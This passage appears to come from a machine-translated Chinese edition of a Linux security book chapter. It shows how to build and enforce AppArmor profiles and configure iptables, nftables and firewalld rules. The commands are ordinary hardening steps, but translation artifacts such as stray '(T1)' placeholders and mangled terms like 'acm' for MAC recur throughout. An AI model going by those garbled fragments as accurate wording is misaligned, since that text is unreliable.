AppArmor 事件,以便检测可能的投诉(违规)。 - -:`S`(T1): - -![Figure 9.33 – Prompt 1 – Waiting to scan with aa-genprof](img/B13196_09_33.jpg) - -图 9.33 -提示 1 -等待用 aa-genprof 进行扫描 - -让我们看看下一个提示符。 - -#### 提示 2 -执行/usr/bin/bash 的权限 - -这个提示请求运行应用的进程(`/usr/bin/bash`)的执行权限。 - -:`I`(T1): - -![Figure 9.34 – Prompt 2 – Execute permissions for /usr/bin/bash](img/B13196_09_34.jpg) - -图 9.34 - Prompt 2 -执行/usr/bin/bash 的权限 - -让我们看看下一个提示符。 - -#### Prompt 3 – Read/write permissions to /dev/tty - -提示请求应用控制终端的读写权限(`/dev/tty`)。 - -:`A`(T1): - -![Figure 9.35 – Prompt 3 – Read/write permissions to /dev/tty](img/B13196_09_35.jpg) - -Figure 9.35 – Prompt 3 – Read/write permissions to /dev/tty - -现在,让我们看看最后一个提示符。 - -#### 提示 4 -保存更改 - -提示符要求保存或检查更改。 - -:`S`(T1): - -![Figure 9.36 – Prompt 4 – Save changes](img/B13196_09_36.jpg) - -图 9.36 -提示 4 -保存更改 - -此时,我们已经用`aa-genprof`完成扫描,可以用`F (Finish)`回答最后一个提示。 我们的应用(`appackt`)现在被`complain mode`强制执行(默认)。 如果我们尝试运行我们的脚本,我们将得到以下输出: - -![Figure 9.37 – The first run of appackt with AppArmor confined](img/B13196_09_37.jpg) - -图 9.37 -第一次使用禁闭的 appack - -正如输出结果所表明的那样,事情还不完全正确。 这就是`aa-logprof`工具发挥作用的地方。 对于其余步骤,我们只需要一个终端窗口。 - -让我们运行`aa-logprof`命令来进一步优化`appackt`安全配置文件: - -```sh -sudo aa-logprof -``` - -我们将再次得到几个提示,类似于前面的提示,要求我们的脚本需要更多的权限,即`touch`、`cat`和`rm`命令。 提示符根据需要在`Inherit`和`Allow`答案之间交替。 由于篇幅有限,我们在这里就不细讲了。 到目前为止,您应该对这些提示及其含义有了大致的了解。 但是,总是建议考虑所请求的权限并相应地采取行动。 - -我们可能需要运行`aa-logprof`命令几次,因为在每次迭代时,将发现并处理新的权限,这取决于脚本生成的子进程,等等。 最终,`appackt`脚本将成功运行。 - -在前面描述的迭代过程中,我们可能会在 AppArmor 数据库中得到几个未知的*或孤立的条目,它们是我们之前尝试的产物,以确保应用的安全:* - - *![Figure 9.38 – Remnants of the iterative process](img/B13196_09_38.jpg) - -图 9.38 -迭代过程的残余 - -它们都将根据我们的应用(`/home/packt/appackt`)的路径命名。 我们可以用下面的命令清理这些条目: - -```sh -sudo aa-remove-unknown -``` - -现在,我们可以验证我们的应用确实受到了 AppArmor 的保护: - -```sh -sudo aa-status -``` - -输出的相关摘录如下: - -![Figure 9.39 – appackt in complain mode](img/B13196_09_39.jpg) - -图 9.39 - appackt 在抱怨模式 - -正如所料,我们的应用(`/home/packt/appackt`)以`complain`模式显示。 另外两个是系统应用相关的,与我们无关。 - -接下来,我们需要验证我们的应用是否符合 AppArmor 执行的安全策略。 让我们编辑`appackt`脚本,并将第 6 行中的`LOG_FILE`路径更改为以下内容: - -```sh -LOG_FILE="./logs/appackt" -``` - -我们已经将输出目录从`log`更改为`logs`。 让我们创建`logs`目录并运行我们的应用: - -```sh -mkdir logs -./appackt -``` - -前面的输出表明`appackt`正试图访问 AppArmor 允许的边界之外的路径,因此验证了我们的配置文件: - -![Figure 9.40 – appackt acting outside security boundaries](img/B13196_09_40.jpg) - -图 9.40 - appackt 在安全边界之外 - -让我们恢复前面的更改,让`appackt`脚本正常运行。 我们现在已经准备好`enforce`我们的应用,通过以下命令改变它的配置文件模式: - -```sh -sudo aa-enforce /home/packt/appackt -``` - -输出如下: - -![Figure 9.41 – Changing the appackt profile to enforce mode](img/B13196_09_41.jpg) - -图 9.41 -改变 appackprofile 到强制模式 - -我们可以使用下面的命令来验证我们的应用确实是在`enforce`模式下运行: - -```sh -sudo aa-status -``` - -相关输出如下: - -![Figure 9.42 – appackt running in enforce mode](img/B13196_09_42.jpg) - -图 9.42 - appackt 在强制模式下运行 - -如果我们想要对我们的应用进行进一步的调整,然后用相关的更改对它进行测试,那么我们必须将概要文件模式更改为`complain`,然后重申本节中前面描述的步骤。 将应用应用配置文件设置为`complain mode`: - -```sh -sudo aa-complain /home/packt/appackt -``` - -AppArmor 配置文件是存储在`/etc/apparmor.d/`目录中的纯文本文件。 创建或修改 AppArmor 配置文件通常需要使用`aa-genprof`**和`aa-logprof`工具手动编辑本节描述的相应文件或过程。** - - **接下来,让我们看看如何禁用或启用 AppArmor 应用配置文件。 - -#### 禁用和启用配置文件 - -有时,我们可能想要禁用有问题的应用概要文件,而正在开发更好的版本。 我们是这样做的。 - -首先,我们需要定位想要禁用的应用概要文件(例如,`appackt`)。 相关文件在`/etc/apparmor.d/`目录中,它是根据其完整路径命名的,用圆点(`.`)而不是斜杠(`/`)。 在我们的示例中,文件是`/etc/apparmor.d/home.packt.appackt`。 - -要禁用配置文件,我们必须运行以下命令: - -```sh -sudo ln -s /etc/apparmor.d/home.packt.appackt /etc/apparmor.d/disable/ -sudo apparmor_parser -R /etc/apparmor.d/home.packt.appackt -``` - -如果我们运行`aa-status`命令,我们将不再看到`appackt`概要文件。 相关的配置文件仍然存在于文件系统中`/etc/apparmor.d/disable/home.packt.appackt`: - -![Figure 9.43 – The disabled appackt profile](img/B13196_09_43.jpg) - -图 9.43 -被禁用的 appack 配置文件 - -在这种情况下,`appackt`脚本不受任何限制强制执行。 要重新启用相关的安全配置文件,我们可以运行以下命令: - -```sh -sudo rm /etc/apparmor.d/disable/home.packt.appackt -sudo apparmor_parser -r /etc/apparmor.d/home.packt.appackt -``` - -`appackt`配置文件现在应该显示在`aa-status`输出中,因为运行在`complain mode`中。 我们可以通过以下方式将其带入`enforce mode`: - -```sh -sudo aa-enforce /home/packt/appackt -``` - -除了相关的文件系统操作外,我们还使用了`apparmor_parser`命令来禁用或启用该概要文件。 此实用程序帮助在内核中加载(`-r`,`--replace`)或卸载(`-R`,`--remove`)安全配置文件。 - -删除 AppArmor 安全配置文件在功能上等同于禁用它们。 我们也可以选择从文件系统中完全删除相关文件。 如果我们删除一个配置文件而不首先从内核中删除它(使用`apparmor_parser -R`),我们可以使用`aa-remove-unknown`命令来清除孤立的条目。 - -让我们用一些最后的想法来总结我们对 AppArmor 内部结构的相对简短的研究。 - -## 最后一点 - -与 SELinux 相比,使用 AppArmor 相对容易一些,特别是在生成安全策略或在`permissive mode` 和`non-permissive mode`之间来回切换时。 SELinux 只能为整个系统切换许可上下文,而 AppArmor 可以在应用级别切换。 另一方面,在这两者之间可能没有选择,因为一些主要的 Linux 发行版要么支持其中一个,要么支持另一个。 AppArmor 是 Debian、Ubuntu 和最近的 OpenSUSE 的一个奇迹,而 SELinux 运行在 RHEL/CentOS 上。 理论上,你可以尝试在不同的发行版之间移植相关的内核模块,但这并不是一个简单的任务。 - -作为最后的说明,我们应该重申,在 Linux 安全的大背景下,SELinux 和 AppArmor 是**acm**,在应用级别上对系统进行本地操作。 当涉及到保护应用和计算机系统不受外部世界影响时,防火墙就起作用了。 下面我们来看看防火墙。 - -# 使用防火墙工作 - -传统上,防火墙是一种位于两个网络之间的网络安全设备。 它监视网络流量并控制对这些网络的访问。 一般来说,防火墙保护本地网络不受外来入侵或攻击。 但防火墙也可以阻止针对公共互联网的不请自来的本地流量。 从技术上讲,防火墙根据特定的安全规则允许或阻止进出网络流量。 - -例如,除了一组选择的入站网络协议(如 SSH 和 HTTP/HTTPS)外,防火墙可以阻止所有的网络协议。 它也可能阻止所有在本地网络中除了批准的主机建立特定的出站连接,例如允许出站 SMTP 连接只起源于本地电子邮件服务器。 - -下图显示了一个简单的防火墙部署,调节本地网络和互联网之间的流量: - -![Figure 9.44 – A simple firewall diagram](img/B13196_09_44.jpg) - -图 9.44 -一个简单的防火墙图 - -外向的安全规则防止坏的行为者,如被入侵的电脑和不值得信任的个人,直接攻击公共互联网。 由此产生的保护有利于外部网络,但它最终对组织也是必不可少的。 阻止来自本地网络的敌对行动,可以避免它们被**互联网服务提供商****(isp)**标记为不受约束的互联网流量。 - -配置防火墙通常需要一个作用于全局范围的默认安全策略,然后根据端口号(协议)、IP 地址和其他标准配置该通用规则的特定例外。 - -在下面的部分中,我们将探索各种防火墙实现和防火墙管理器。 首先,让我们通过介绍 Linux 防火墙链来简要地了解防火墙是如何监视和控制网络流量的。 - -### 了解防火墙链 - -在较高的层次上,Linux 内核中的 TCP/IP 栈通常执行以下工作流: - -* 从应用(进程)接收数据,将数据序列化为网络数据包,并根据各自的 IP 地址和端口将数据包发送到网络目的地 -* 从网络接收数据,将网络数据包反序列化为应用数据,并将应用数据发送给一个进程 - -理想情况下,在这些工作流中,Linux 内核不应该以任何特定的方式改变网络数据,除了根据 TCP/IP 协议对其进行整形。 然而,在分布式和可能不安全的网络环境中,数据可能需要进一步检查。 内核应该提供必要的钩子来根据各种条件进一步过滤和修改数据包。 这就是防火墙和其他网络安全和入侵检测工具发挥作用的地方。 它们适应内核的 TCP/IP 包过滤接口,并对网络包执行所需的监视和控制。 Linux 内核的网络包过滤过程的蓝图也被称为*防火墙*或*防火墙链*: - -![Figure 9.45– The Linux firewall chain](img/B13196_09_45.jpg) - -图 9.45 - Linux 防火墙链 - -当进入的*数据*进入防火墙包过滤链时,根据包的目的地做出*路由决策*。 基于该路由决定,包可以遵循**INPUT**链(对于本地主机)或**FORWARD**链(对于远程主机)。 这些链可以通过网络安全工具或防火墙实现的钩子以各种方式改变传入的数据。 默认情况下,内核不会改变遍历链的包。 - -**INPUT**链最终将数据包送入**本地应用进程**消耗数据。 这些本地应用通常是用户空间进程,例如网络客户机(例如 web 浏览器、SSH 和电子邮件客户机)或网络服务器(例如 web 和电子邮件服务器)。 它们也可能包括内核空间进程,例如内核的**网络文件系统**(**NFS**)。 - -**FORWARD**链和**本地进程**在将数据包放到网络上之前,都将数据包路由到**OUTPUT**链。 - -任何一条链都可以根据特定的条件过滤数据包,如下所示: - -* 源或目的 IP 地址 -* 源或目的端口 -* 数据事务中涉及的网络接口 - -每个链都有一组与输入数据包匹配的安全规则。 如果匹配,则内核将数据包路由到该规则指定的*目标*。 一些预定义的目标包括: - -* **ACCEPT**:接受数据包进行进一步处理 -* **REJECT**:拒绝数据包 -* **DROP**:忽略该数据包 -* **QUEUE**:将数据包传递给用户空间进程 -* **RETURN**:停止对数据包的处理,将数据返回到上一个链 - -要获得预定义目标的完整列表,请参考`iptables-extensions`系统参考(`man iptables-extensions`)。 - -在下面的部分中,我们将基于内核的网络堆栈和防火墙链探索一些最常见的网络安全框架和工具。 我们将从`netfilter`开始——Linux 内核的包过滤系统。 接下来,我们来看看`iptables`-用于配置 n`etfilter`的传统接口。 `iptables`是一种高度可配置、灵活的防火墙解决方案。 然后,我们将简要介绍`nftables`,这是一个实现`iptables`大部分复杂功能的工具,它将`iptables`包装到一个相对易于使用的命令行界面中。 最后,我们将离开内核与包过滤框架的直接关系,看看*防火墙管理器*-`firewalld` (RHEL/CentOS)和`ufw`(Debian/Ubuntu)——两个用户友好的前端,用于在主要 Linux 发行版上配置 Linux 防火墙。 - -让我们从`netfilter`开始。 - -## 介绍 netfilter - -`netfilter`是 Linux 内核中的一个包过滤框架,它提供了高度可定制的处理程序(或钩子)来控制与网络相关的操作。 这些操作包括以下内容: - -* 接受或拒绝数据包 -* 包路由和转发 -* **网络地址和端口转换**(**NAT/NAPT**) - -实现`netfilter`框架的应用使用一组围绕着钩子构建的回调函数,这些钩子注册在操纵网络堆栈的内核模块中。 这些回调函数进一步映射到安全规则和概要文件,这些规则和概要文件控制遍历网络链的每个包的行为。 - -防火墙应用是`netfilter`框架实现的一等公民。 因此,对`netfilter`钩子的良好理解将有助于 Linux 高级用户和管理员创建可靠的防火墙规则和策略。 - -下面我们将简要介绍这些`netfilter`钩子。 - -### netfilter 钩子 - -当数据包穿越网络堆栈中的各种链时,`netfilter`会触发内核模块的事件,这些内核模块被相应的钩子注册。 这些事件导致模块或包过滤应用(例如防火墙)中实现钩子的通知。 接下来,应用根据特定的规则控制数据包。 - -包过滤应用有 5 个 n`etfilter`钩子可用。 每一个都对应一个组网链,如图 9.44 所示: - -* `NF_IP_PRE_ROUTING`:由进入网络堆栈的流量触发,并且在路由决定将数据包发送到哪里之前触发 -* `NF_IP_LOCAL_IN`:当包有一个本地主机目的地时,路由一个传入包后触发 -* `NF_IP_FORWARD`:当报文有远端主机目的地时,路由入报文后触发 -* `NF_IP_LOCAL_OUT`:由本地发起的出方向流量进入网络栈触发 -* `NF_IP_POST_ROUTING`:由发送或转发的流量触发,该流量在路由之后,在它退出网络堆栈之前 - -内核模块或用`netfilter`钩子注册的应用必须提供一个优先级编号,以确定触发钩子时模块被调用的顺序。 这种机制允许我们确定性地对已注册到特定钩子中的多个模块(或同一模块的多个实例)排序。 当一个已注册的模块处理完一个信息包后,它会向 `netfilter`框架提供一个关于该如何处理信息包的决策。 - -`netfilter`框架的设计和实现是一个社区驱动的协作项目,作为**自由开源软件**(**自由/开源软件**)运动的一部分。 对于`netfilter`项目的一个好的起点,你可以参考到[http://www.netfilter.org/](http://www.netfilter.org/)。 - -`netfilter`最著名的实现之一是`iptables`——一个广泛使用的防火墙管理工具,它与`netfilter`包过滤框架共享一个直接接口。 对`iptables`的实际检查将进一步揭示`netfilter`的功能方面。 接下来让我们一起探索`iptables`。 - -## 与 iptables 一起工作 - -`iptables`是一个相对低级的 Linux 防火墙解决方案和命令行实用程序,它使用`netfilter`链来控制网络流量。 `iptables`与*规则*结合*链*操作。 规则定义了匹配遍历特定链的信息包的标准。 `iptables`使用*表*根据标准或决策类型组织规则。 `iptables`定义了以下表: - -* `filter`:默认表,当我们决定是否允许数据包通过特定的链(`INPUT`,`FORWARD,``OUTPUT`)时使用。 -* `nat`:用于需要源或目的地址/端口转换的报文。 该表对以下链进行操作:`PREROUTING`、`INPUT`、`OUTPUT`和`POSTROUTING`。 -* `mangle`:用于涉及 IP 报头的特殊报文改变(如`MSS`=最大段大小或`TTL`=生存时间)。 该表支持以下链:`PREROUTING`、`INPUT`、`FORWARD`、`OUTPUT`、`POSTROUTING`。 -* `raw`:在禁用特定数据包的连接跟踪(`NOTRACK`)时使用,主要用于无状态处理和性能优化目的。 该表与`PREROUTING`和`OUTPUT`链相关。 -* `security`:当报文受 SELinux 策略约束时,用于**MAC**。 该表与`INPUT`、`FORWARD`和`OUTPUT`链相互作用。 - -下图总结了`iptables`中支持的相应链表: - -![Figure 9.46 – Tables and chains in iptables](img/B13196_09_46.jpg) - -图 9.46 - iptables 中的表和链 - -数据包在内核网络栈中的链遍历顺序如下: - -* 本地主机目的地的入包:`PREROUTING`|`INPUT` -* 远程主机目的地的入包:`PREROUTING`|`FORWARD`|`POSTROUTING` -* 本地生成的报文(由应用进程):`OUTPUT`|`POSTROUTING` - -既然我们已经熟悉了一些介绍性的概念,我们可以处理一些实际的例子来理解`iptables`是如何工作的。 - -下面的示例使用 RHEL/CentOS 8 系统,但是它们应该适用于所有主流 Linux 发行版。 请注意,从 RHEL/CentOS 7 开始,默认的防火墙管理应用是`firewalld`(在本章后面讨论)。 如果您想使用`iptables`,首先需要禁用`firewalld`: - -```sh -sudo systemctl stop firewalld -sudo systemctl disable firewalld -sudo systemctl mask firewalld -``` - -接下来,安装`iptables-services`包(CentOS): - -```sh -sudo yum install iptables-services -``` - -(在 Ubuntu 上,你必须安装`iptables`和`sudo apt-get install iptables`)。 - -现在,我们开始配置`iptables`。 - -### 配置 iptables - -`iptables`命令需要超级用户权限。 首先,让我们检查当前的`iptables`配置。 对于一个特定的*表*检索*链*中的*规则*的一般语法如下: - -```sh -sudo iptables -L [CHAIN] [-t TABLE] -``` - -`-L`(`--list`)选项列出了*链*中的规则。 选项`-t`(`--table`)指定一个*表*。 `CHAIN`和`TABLE`参数是可选的。 如果省略了`CHAIN`选项,那么*所有的*链及其相关规则将被考虑在一个表中。 当没有指定`TABLE`选项时,假设使用`filter`表。 因此,下面的命令列出了`filter`表的所有链和规则: - -```sh -sudo iptables -L -``` - -在默认配置防火墙的系统中,输出如下: - -![Figure 9.47 – Listing the current configuration in iptables](img/B13196_09_47.jpg) - -图 9.47 -在 iptables 中列出当前配置 - -我们可以更具体一些,例如,通过下面的命令列出`nat`表的所有`INPUT`规则: - -```sh -sudo iptables -L INPUT -t nat -``` - -`-t`(`--table`)选项参数仅在`iptables`操作的目标不是默认的`filter`表时才需要。 - -重要提示 - -除非指定了`-t`(`--table`)选项参数,否则`iptables`默认采用`filter`表。 - -当你从头开始设计防火墙规则时,通常建议以下步骤: - -1. 刷新当前防火墙配置中的任何残留物。 -2. 设置默认防火墙策略。 -3. 创建防火墙规则,确保将更具体(或限制性)的规则放在首位。 -4. 保存配置。 - -让我们通过使用`filter`表创建一个示例防火墙配置,来简要地了解前面的每个步骤。 - -#### 步骤 1 -刷新现有配置 - -下面的命令将刷新`filter`表链(`INPUT`、`FORWARD`和`OUTPUT`中的规则: - -```sh -sudo iptables -F INPUT -sudo iptables -F FORWARD -sudo iptables -F OUTPUT -``` - -除非出现错误,或者使用`-v`(`--verbose`)选项调用`iptables`命令,否则前面的命令不会产生输出; 例如: - -```sh -sudo iptables -v -F INPUT -``` - -输出如下: - -![Figure 9.48 – Flushing the INPUT chain in iptables](img/B13196_09_48.jpg) - -图 9.48 -刷新 iptables 中的 INPUT 链 - -接下来,我们将设置防火墙的默认策略。 - -#### 步骤 2 -设置默认防火墙策略 - -默认情况下,`iptables`允许所有包通过网络(防火墙)链。 安全防火墙配置应该使用`DROP`作为相关链的默认目标: - -```sh -sudo iptables -P INPUT DROP -sudo iptables -P FORWARD DROP -sudo iptables -P OUTPUT DROP -``` - -选项参数`-P`(`--policy`)将特定链(如`INPUT`)的策略设置为给定目标(例如`DROP`)。 `DROP`目标使系统正常忽略所有报文。 - -此时,如果我们要保存防火墙配置,系统将不会接受任何传入或传出的数据包。 因此,如果我们使用 SSH 或没有直接的控制台访问,我们应该小心不要不经意地放弃对系统的访问。 - -接下来,我们将设置防火墙规则。 - -#### 步骤 3—创建防火墙规则 - -让我们创建一些示例防火墙规则,例如接受 SSH、DNS 和 HTTPS 连接。 - -下面的命令使能从本地网络(`192.168.0.0/24`)访问 SSH: - -```sh -sudo iptables -A INPUT -p tcp --dport 22 -m state \ - --state NEW,ESTABLISHED -s 192.168.0.0/24 -j ACCEPT -sudo iptables -A INPUT -p tcp --sport 22 -m state \ - --state ESTABLISHED -s 192.168.0.0/24 -j ACCEPT -``` - -让我们解释一下在前面的代码块中使用的参数: - -* `-A INPUT`:指定要将规则添加到的链(例如`INPUT`) -* `-p tcp`:传输报文的网络协议,如`tcp`或`udp` -* `--dport 22`:报文的目的端口 -* `--sport 22`:报文的源端口 -* `-m state`:我们想要匹配的数据包属性(例如`state`) -* `--state NEW,ESTABLISHED`:要匹配的报文状态 -* `-s 192.168.0.0/24`:报文的源 IP 地址/掩码 -* `-j ACCEPT`:目标或*对数据包(如`ACCEPT`、`DROP`、`REJECT`等)做什么* - -我们使用两个命令来启用 SSH 访问。 第一个允许传入的 SSH 流量(`--dport 22`)用于新的和现有的连接(`-m state --state NEW,ESTABLISHED`)。 第二条命令为现有连接(`-m state –state ESTABLISHED`)开启 SSH 响应流量(`--sport 22`)。 - -同样,下面的命令可以启用 HTTPS 流量: - -```sh -sudo iptables -A INPUT -p tcp --dport 443 -m state \ - --state NEW,ESTABLISHED -j ACCEPT -sudo iptables -A INPUT -p tcp --sport 443 -m state \ - --state ESTABLISHED,RELATED -j ACCEPT -``` - -为了启用 DNS 流量,我们需要使用以下命令: - -```sh -sudo iptables -A INPUT -p udp --dport 53 -j ACCEPT -sudo iptables -A INPUT -p udp --sport 53 -j ACCEPT -``` - -更多关于`iptables`选项参数的信息,请参考以下系统参考手册: - -* **iptables**(T0) -* **iptables-extensions**(`man iptables-extensions`)。 - -现在,我们已经准备好保存`iptables`配置。 - -#### 步骤 4 -保存配置 - -要保存当前`iptables`配置,我们必须运行以下命令: - -```sh -sudo service iptables save -``` - -输出如下: - -![Figure 9.49 – Saving the iptables configuration](img/B13196_09_49.jpg) - -图 9.49 -保存 iptables 配置 - -我们还可以将当前配置转储到一个文件(例如`iptables.config`)中,以供以后使用,使用下面的命令: - -```sh -sudo iptables-save -f iptables.config -``` - -`-f`(`--file`)选项参数指定要保存(备份)`iptables`配置的文件。 稍后我们可以使用以下命令恢复保存的`iptables`配置: - -```sh -sudo iptables-restore ./iptables.config -``` - -在这里,我们可以指定到我们的`iptables`备份配置文件的任意路径。 - -用`iptables`探索更复杂的规则和主题超出了本章的范围。 我们到目前为止提供的示例,以及`iptables`的理论介绍,应该是一个很好的开始,让大家探索更高级的配置。 - -另一方面,通常不鼓励使用`iptables`,特别是在最新的 Linux 发行版(如`nftables`、`firewalld`和`ufw`中附带的新兴防火墙管理工具和框架中。 人们也多少接受了`iptables`存在性能和可伸缩性问题。 - -接下来,我们将看看`nftables`,一个由*Netfilter 项目*设计和开发的相对较新的框架,构建它是为了取代`iptables`。 - -## nftables 简介 - -`nftables`是`iptables`的继任人。 `nftables`是一个防火墙管理框架,支持包过滤**网络地址转换**(**NAT**)和各种包整形操作。 `nftables`与以前的包过滤工具相比,在功能、便捷性和性能方面都有显著的改进,例如: - -* 查找表代替规则的线性处理。 -* 规则是单独应用的,而不是处理一个完整的规则集。 -* IPv4 和 IPv6 协议的统一框架。 -* 没有特定于协议的扩展。 - -`nftables`背后的功能原则通常遵循前面关于防火墙网络链的部分中介绍的设计模式; 即`netfilter`和`iptables`。 与`iptables`一样,`nftables`使用表来存储链。 每个链包含一组用于包过滤操作的规则。 - -`nftables`是 Debian 和 RHEL/CentOS 8 Linux 发行版中的默认包过滤框架,取代了旧的`iptables`(和相关)工具。 操作`nftables`配置的命令行界面是`nft`。 然而,有些用户更喜欢使用更友好的前端,比如`firewalld`。 (`firewalld`最近添加了`nftables`的后端支持。) 以 RHEL/CentOS 8 为例,其默认防火墙管理方案为`firewalld`。 - -在本节中,我们将展示一些示例,说明如何使用`nftables`和相关的命令行实用程序来执行简单的防火墙配置任务。 为此,我们将使用 RHEL/CentOS 8 发行版,其中我们将禁用`firewalld`。 让我们快速浏览一下运行本节中的示例所需的准备步骤。 - -### 我们示例的先决条件 - -如果是 RHEL/CentOS 7 系统,`nftables`默认不安装。 你可以用以下命令安装它: - -```sh -sudo yum install -y nftables -``` - -本节以 RHEL/CentOS 8 发行版为例进行说明。 要直接配置`nftables`,我们需要禁用`firewalld`,并可能禁用`iptables`(如果您运行了相关部分中的示例)。 在*配置 iptables*一节的开始部分显示了禁用`firewalld`的步骤。 - -另外,如果您启用了`iptables`,则需要使用以下命令停止和禁用相关服务: - -```sh -sudo systemctl stop iptables -sudo systemctl disable iptables -``` - -接下来,我们需要启用和启动`nftables`: - -```sh -sudo systemctl enable nftables -sudo systemctl start nftables -``` - -我们可以使用以下命令检查`nftables`的状态: - -```sh -sudo systemctl status nftables -``` - -`nftables`的运行状态应该显示`active`: - -![Figure 9.50 – Checking the status of nftables](img/B13196_09_50.jpg) - -图 9.50 -检查 nftables 的状态 - -现在,我们准备配置`nftables`了。 让我们来看几个例子。 - -### 使用 nftables - -`ntftables`从`/etc/sysconfig/nftables.conf`加载其配置。 我们可以使用以下命令显示配置文件的内容: - -```sh -sudo cat /etc/sysconfig/nftables.conf -``` - -默认的`nftables`配置在`nftables.conf`中没有活动的条目,除了一些注释: - -![Figure 9.51 – The default nftables configuration file](img/B13196_09_51.jpg) - -图 9.51 -默认的 nftables 配置文件 - -如注释所示,要更改`nftables`配置,我们有几个选项: - -* 直接编辑`nftables.conf`文件。 -* 手动编辑配置文件`/etc/nftables/main.nft`,然后取消注释`nftables.conf`中的相关行。 -* 使用`nft`命令行实用工具编辑规则,然后将当前配置转储到`nftables.conf`。 - -不管采用哪种方法,我们都需要通过重新启动`nftables`服务来重新加载已更新的配置。 在本节中,我们将使用`nft`命令行示例来更改`nftables`配置。 高级用户通常编写`nft`配置脚本,但最好先学习基本步骤。 - -显示当前配置中的所有规则: - -```sh -sudo nft list ruleset -``` - -您的系统可能已经设置了一些默认规则。 在继续下一步之前,您可以选择对相关配置(例如,`/etc/sysconfig/nftables.conf`和`/etc/nftables/main.nft`)进行备份。 - -下面的命令将刷新所有已经存在的规则: - -```sh -sudo nft flush ruleset -``` - -此时,我们有一个空配置。 让我们设计一个简单的防火墙,它接受 SSH、HTTP 和 HTTPS 通信,阻止其他任何东西。 - -#### 接受 SSH、HTTP 和 HTTPS 流量 - -首先,我们需要创建一个*表*和一个*链*。 下面的命令创建了一个名为`packt_table`的表: - -```sh -sudo nft add table inet packt_table -``` - -接下来,我们将在`packt_table`中创建一个名为`packt_chain`的链: - -```sh -sudo nft add chain inet packt_table packt_chain { type filter hook input priority 0 \; } -``` - -现在,我们可以开始向`packt_chain`添加规则了。 允许 SSH、HTTP 和 HTTPS 访问: - -```sh -sudo nft add rule inet packt_table packt_chain tcp dport {ssh, http, https} accept -``` - -让我们同时启用 ICMP (ping): - -```sh -sudo nft add rule inet packt_table packt_chain ip protocol icmp accept -``` - -最后,我们将`reject`一切: - -```sh -sudo nft add rule inet packt_table packt_chain reject with icmp type port-unreachable -``` - -现在,让我们来看看我们的新配置: - -```sh -sudo nft list ruleset -``` - -输出如下: - -![Figure 9.52 – A simple firewall configuration with nftables](img/B13196_09_52.jpg) - -图 9.52 -带有 nftables 的简单防火墙配置 - -输出建议为我们的输入链(`packt_chain`)设置以下: - -* 允许目的端口`22`、`80`、`443`(`tcp dport { 22, 80, 443 } accept`)TCP 流量。 -* 允许`ping`请求(`ip protocol icmp accept`)。 -* 拒绝一切 else(`meta nfproto ipv4 reject`)。 - -接下来,我们将当前配置保存为`/etc/nftables/packt.nft`: - -```sh -sudo nft list ruleset | sudo tee /etc/nftables/packt.nft -``` - -最后,通过添加以下行,我们将当前的`nftables`配置指向`/etc/sysconfig/nftables.conf`文件中的`/etc/nftables/packt.nft`: - -```sh -include "/etc/nftables/packt.nft" -``` - -我们将使用`nano`(或您选择的编辑器)来进行更改: - -```sh -sudo nano /etc/sysconfig/nftables.conf -``` - -新的`nftables.conf`现在包含了对`packt.nft`配置的引用: - -![Figure 9.53 – Including the new configuration in nftables](img/B13196_09_53.jpg) - -图 9.53 -在 nftables 中包含新的配置 - -下面的命令重新加载新的`nftables`配置: - -```sh -sudo systemctl restart nftables -``` - -在这个练习之后,您可以使用`nft list ruleset`命令的输出快速编写一个脚本来配置`nftables`。 事实上,我们刚刚使用了`/etc/nftables/packt.nft`配置文件。 - -至此,我们将结束对包过滤框架和相关命令行实用程序的研究。 它们使高级用户能够对底层网络链和规则的每个功能方面进行细粒度控制。 然而,一些 Linux 管理员可能会发现这些工具的使用令人难以应付,转而使用相对简单的防火墙管理工具。 - -接下来,我们将研究两个本地 Linux 防火墙管理工具,它们为配置和管理防火墙提供了更精简和用户友好的命令行界面。 - -## 使用防火墙管理器 - -防火墙管理器是具有防火墙安全规则的相对易于使用的配置界面的命令行实用程序。 通常,这些工具需要超级用户特权,它们是 Linux 系统管理员的重要资产。 - -在接下来的章节中,我们将介绍两个在当今 Linux 发行版中广泛使用的最常见的防火墙管理器: - -* `firewalld`:RHEL/CentOS 平台 -* `ufw`:在 Ubuntu/Debian 上 - -防火墙管理器与其他网络安全工具(如`iptables`、`netfilter`和`nftables`)相似,其主要区别在于它们为防火墙安全提供了更精简的用户体验。 使用防火墙管理器的一个重要好处是,当您操作各种安全配置更改时,不必重新启动网络守护进程。 - -让我们从 RHEL/CentOS 的默认防火墙管理器`firewalld`开始。 - -### 使用 firewalld - -`firewalld`是用于各种 Linux 发行版的默认防火墙管理工具,包括以下内容: - -* RHEL/CentOS 7(及更新版本) -* OpenSUSE 15(及更新版本) -* Fedora 18(及更新版本) - -在 CentOS 上,如果没有`firewalld`,我们可以用下面的命令安装它: - -```sh -sudo yum install -y firewalld -``` - -我们可能还需要在启动时使用以下命令启用`firewalld`守护进程: - -```sh -sudo systemctl enable firewalld -``` - -在继续之前,让我们确保`firewalld`已启用: - -```sh -systemctl status firewalld -``` - -状态应该是`active (running)`,如下截图所示: - -![Figure 9.54 – Making sure firewalld is active](img/B13196_09_54.jpg) - -图 9.54 -确保防火墙处于激活状态 - -`firewalld`有一组命令行实用程序用于不同的任务: - -* `firewall-cmd`:`firewalld`的主要命令行工具 -* `firewall-offline-cmd`:用于在离线(未运行)时配置`firewalld` -* `firewall-config`:图形用户界面工具,用于配置`firewalld` -* `firewall-applet`:一个系统托盘应用,用于提供`firewalld`的基本信息(如运行状态、连接等) - -在本节中,我们将查看一些使用`firewall-cmd`实用程序的实际示例。 对于任何其他实用程序,您可以参考相关的系统参考手册(如`man firewall-config`)以获得更多信息。 - -`firewalld`(与之相关的`firewalld-cmd`)使用与监视和控制网络包相关的几个关键概念:*区域*、*规则*和*目标*。 - -### 区 - -区域是`firewalld`配置的顶层组织单元。 `firewalld`监控的网络报文如果匹配了该网络区域关联的网口或 IP 地址/掩码源,则该网络报文属于该网络区域。 下面的命令列出了预定义区域的名称: - -```sh -sudo firewall-cmd --get-zones -``` - -该命令输出如下: - -![Figure 9.55 – The predefined zones in firewalld](img/B13196_09_55.jpg) - -图 9.55 -防火墙中预定义的区域 - -关于当前已配置的所有区域的详细信息,我们可以运行以下命令: - -```sh -sudo firewall-cmd --list-all-zones -``` - -以下是相关输出的摘录: - -![Figure 9.56 – Listing firewalld zones with details](img/B13196_09_56.jpg) - -图 9.56 -详细列出防火墙区域 - -前面的输出说明了两个区域(`trusted`和`work`),每个区域都有自己的属性,下面将解释其中的一些属性。 与*接口*和*源*相关联的区域是,称为*活动*区域。 查询激活的 zone: - -```sh -sudo firewall-cmd 